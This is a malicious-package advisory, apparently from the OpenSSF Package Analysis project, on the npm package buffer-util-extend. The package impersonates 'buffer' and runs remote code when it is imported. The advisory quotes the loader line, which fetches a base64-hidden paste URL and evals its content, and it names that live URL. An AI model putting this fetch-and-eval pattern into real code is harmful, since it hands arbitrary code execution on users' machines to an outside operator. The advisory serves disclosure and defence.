MAL-2026-2920 Malicious code in buffer-util-extend (npm)

On require/import, index.js decodes a base64 string literal to https://www.jsonkeeper.com/b/CWOV9, fetches that anonymous JSON paste, and passes the response's content field to eval() (index.js:46 stores the base64-encoded URL; index.js:59-65 performs fetch(atob(...)).then(t=>t.json()).then(data => eval(data.content))). Any consumer that requires this package executes whatever JavaScript is currently hosted at the mutable paste URL — full arbitrary code execution on the installer/build machine, with the operator able to swap payloads at any time without republishing the package. The package additionally impersonates the widely-used buffer package: it copies Feross Aboukhadijeh's authorship metadata, homepage https://github.com/feross/buffer, the README references, and the Buffer polyfill source verbatim, while adding unrelated dependencies (axios, request, execp) and the remote-eval payload. Name-confusion against a top-tier npm package combined with concrete import-time RCE makes this a deliberate supply-chain attack.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The OpenSSF Package Analysis project identified 'buffer-util-extend' @ 1.0.8 (npm) as malicious.

It is considered malicious because:

• The package communicates with a domain associated with malicious activity.

• The package executes one or more commands associated with malicious behavior.